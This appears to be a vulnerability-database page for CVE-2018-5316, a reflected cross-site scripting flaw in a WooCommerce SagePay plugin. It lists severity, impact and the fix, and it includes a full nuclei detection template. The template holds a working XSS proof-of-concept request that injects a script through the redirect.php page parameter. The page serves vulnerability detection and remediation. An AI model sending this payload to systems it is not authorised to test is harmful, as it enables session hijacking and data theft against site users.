HexBrain

Browse / CVEs / CVE-2018-5316

CVE-2018-5316· patsatech / sagepay server gateway for woocommerce· CWE-79

WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

WordPress SagePay Server Gateway for WooCommerce before 1.0.9 is vulnerable to cross-site scripting via the includes/pages/redirect.php page parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress SagePay Server Gateway for WooCommerce plugin (1.0.9 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</scr…
Positive when: contains "</script>\"><script>alert(document.domain)</script>" and "Authenticate your card" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-5316 -u <target>

The full check
id: CVE-2018-5316

info:
  name: WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress SagePay Server Gateway for WooCommerce before 1.0.9 is vulnerable to cross-site scripting via the includes/pages/redirect.php page parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress SagePay Server Gateway for WooCommerce plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
    - https://wordpress.org/plugins/sagepay-server-gateway-for-woocommerce/#developers
    - https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5316
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5316
    cwe-id: CWE-79
    epss-score: 0.03685
    epss-percentile: 0.89785
    cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: patsatech
    product: sagepay_server_gateway_for_woocommerce
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,patsatech,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script>"><script>alert(document.domain)</script>'
          - 'Authenticate your card'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from